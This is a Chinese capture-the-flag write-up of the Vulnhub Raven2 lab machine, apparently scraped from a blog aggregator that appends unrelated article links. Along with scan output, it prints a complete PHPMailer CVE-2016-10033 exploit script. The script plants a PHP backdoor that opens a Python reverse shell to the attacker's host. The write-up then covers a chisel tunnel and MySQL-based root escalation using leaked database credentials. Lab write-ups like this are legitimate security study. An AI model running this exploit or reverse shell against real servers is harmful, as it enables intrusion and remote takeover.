当前位置: 首页 > news >正文

[Vulnhub] Raven2 PHPMailer-RCE+MSQP:Mysql权限提升

信息收集

IP AddressOpening Ports
192.168.101.160TCP:22,80,111,46606

$ nmap -p- 192.168.101.160 --min-rate 1000 -sC -sV

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          46606/tcp   status
|   100024  1          54025/udp6  status
|   100024  1          57324/udp   status
|_  100024  1          60412/tcp6  status
46606/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# echo '192.168.101.160 raven.local'>>/etc/hosts

usernames:steven,michael

$ gobuster dir -u "http://192.168.101.160/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x .php

image.png

http://raven.local/vendor/PATH

Flag 1

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

本地权限

http://raven.local/vendor/VERSION

5.2.16

image-1.png

image-2.png

import os
import sys
import requests
from requests_toolbelt import MultipartEncoder
import signal
import threading
import time
import urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)class Spinner:busy = Falsedelay = 0.1@staticmethoddef spinning_cursor():while 1:for cursor in '|/-\\': yield cursordef __init__(self):self.spinner_generator = self.spinning_cursor()self.stop_running = threading.Event()def spinner_task(self):while not self.stop_running.is_set():sys.stdout.write(next(self.spinner_generator))sys.stdout.flush()time.sleep(self.delay)sys.stdout.write('\b')sys.stdout.flush()def start(self):self.busy = Truethreading.Thread(target=self.spinner_task).start()def stop(self):self.busy = Falseself.stop_running.set()time.sleep(self.delay)def signal_handler(signal, frame):print("\n[!] Exiting...")sys.exit(0)signal.signal(signal.SIGINT, signal_handler)def clear_console():os.system('clear')def print_banner():print("\n")print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")def main():if len(sys.argv) != 5:print("Usage: python exploit.py <target_url> <backdoor_name> <attacker_ip> <attacker_port>")sys.exit(1)target = sys.argv[1]backdoor = '/' + sys.argv[2]attacker_ip = sys.argv[3]attacker_port = sys.argv[4]payload = f"<?php system('python -c \"\"\"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'{attacker_ip}\',{attacker_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])\"\"'); ?>"fields = {'action': 'submit','name': payload,'email': f'"anarcoder\\" -OQueueDirectory=/tmp -X/var/www/html{backdoor} server\" @protonmail.com','message': 'Pwned'}m = MultipartEncoder(fields=fields, boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')headers = {'User-Agent': 'curl/7.47.0','Content-Type': m.content_type}print('[+] Sending evil shell to target...')spinner = Spinner()spinner.start()try:response = requests.post(target, data=m.to_string(), headers=headers, verify=False)except requests.exceptions.RequestException as e:print(f"\n[!] Error: {e}")spinner.stop()sys.exit(1)spinner.stop()print('[+] Spawning evil shell... bOOOOM :D')try:response = requests.get(target + backdoor, headers=headers, verify=False)if response.status_code == 200:print(f'[+] Exploited {target}')else:print(f'[!] Failed to exploit {target}, status code: {response.status_code}')except requests.exceptions.RequestException as e:print(f"[!] Error: {e}")if __name__ == "__main__":clear_console()print_banner()main()

$ python3 exploit.py http://192.168.101.160/contact.php reverse.php 192.168.101.128 10032

$ curl http://raven.local/reverse.php

image-5.png

$ python –c 'import pty;pty.spawn("/bin/bash")'

Flag 2

image-6.png

$ cat /var/www/flag2.txt

flag2{6a8ed560f0b5358ecf844108048eb337}

Flag 3

$ find ./ -name flag3*

image-8.png

http://192.168.101.160/wordpress/wp-content/uploads/2018/11/flag3.png

image-9.png

flag3{a0f568aa9de277887f37730d71520d9b}

权限提升 : MSQP

$ cat /var/www/html/wordpress/wp-config.php

image-7.png

username:root
password:R@v3nSecurity

(Kali)$ ./chisel server -p 8000 --reverse

(Target)$ ./chisel client 192.168.101.128:8000 R:3306:localhost:3306&

image-10.png

$ git clone https://github.com/MartinxMax/MSQP.git

$ python3 -m pip install mysql-connector-python

$ python3 msqp.py 127.0.0.1 3306 root R@v3nSecurity 192.168.101.128 10033

image-11.png

Flag 4

# cat /root/flag4.txt

image-12.png

flag4{df2bc5e951d91581467bb9a2a8ff4425}

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【MQTT(4)】开发一个客户端,QT-Android安卓手机版本,Mosquitto替换成libhv库
  • PHP Switch 语句
  • 跨越平台的智能:Mojo模型的自定义与动态部署
  • Vue.js 2 项目实战(五):水果购物车
  • 德国云手机:企业移动办公解决方案
  • transformers进行学习率调整lr_scheduler(warmup)
  • 【详细的springboot自动装载原理】
  • 异常处理和swagger使用
  • Vue3时间选择器datetimerange在数据库存开始时间和结束时间
  • 人工智能技术的分析与探讨
  • Ubuntu-文件管理器中鼠标右键添加文本文件
  • 测试面试宝典(二十八)—— 请问黑盒测试和白盒测试有哪些方法?
  • Android 生成Excel并导出全流程
  • 【JAVA】Hutool CollUtil.sort 方法:多场景下的排序解决方案
  • MYSQL 第四次作业
  • [deviceone开发]-do_Webview的基本示例
  • Fastjson的基本使用方法大全
  • HTTP中的ETag在移动客户端的应用
  • Java 多线程编程之:notify 和 wait 用法
  • javascript数组去重/查找/插入/删除
  • jdbc就是这么简单
  • LintCode 31. partitionArray 数组划分
  • Material Design
  • NLPIR语义挖掘平台推动行业大数据应用服务
  • Spring核心 Bean的高级装配
  • vue自定义指令实现v-tap插件
  • webpack项目中使用grunt监听文件变动自动打包编译
  • 表单中readonly的input等标签,禁止光标进入(focus)的几种方式
  • 彻底搞懂浏览器Event-loop
  • - 概述 - 《设计模式(极简c++版)》
  • 简单易用的leetcode开发测试工具(npm)
  • 浅谈JavaScript的面向对象和它的封装、继承、多态
  • 深入体验bash on windows,在windows上搭建原生的linux开发环境,酷!
  • 腾讯视频格式如何转换成mp4 将下载的qlv文件转换成mp4的方法
  • 问题之ssh中Host key verification failed的解决
  • 小李飞刀:SQL题目刷起来!
  • 一起参Ember.js讨论、问答社区。
  • 一些基于React、Vue、Node.js、MongoDB技术栈的实践项目
  • 浅谈sql中的in与not in,exists与not exists的区别
  • ​2021半年盘点,不想你错过的重磅新书
  • # 20155222 2016-2017-2 《Java程序设计》第5周学习总结
  • #etcd#安装时出错
  • $emit传递多个参数_PPC和MIPS指令集下二进制代码中函数参数个数的识别方法
  • (2)nginx 安装、启停
  • (AngularJS)Angular 控制器之间通信初探
  • (NSDate) 时间 (time )比较
  • (react踩过的坑)antd 如何同时获取一个select 的value和 label值
  • (Redis使用系列) Springboot 使用redis的List数据结构实现简单的排队功能场景 九
  • (附源码)ssm考试题库管理系统 毕业设计 069043
  • (附源码)计算机毕业设计大学生兼职系统
  • (黑马点评)二、短信登录功能实现
  • (全注解开发)学习Spring-MVC的第三天
  • (完整代码)R语言中利用SVM-RFE机器学习算法筛选关键因子
  • (转)setTimeout 和 setInterval 的区别
  • .htaccess配置常用技巧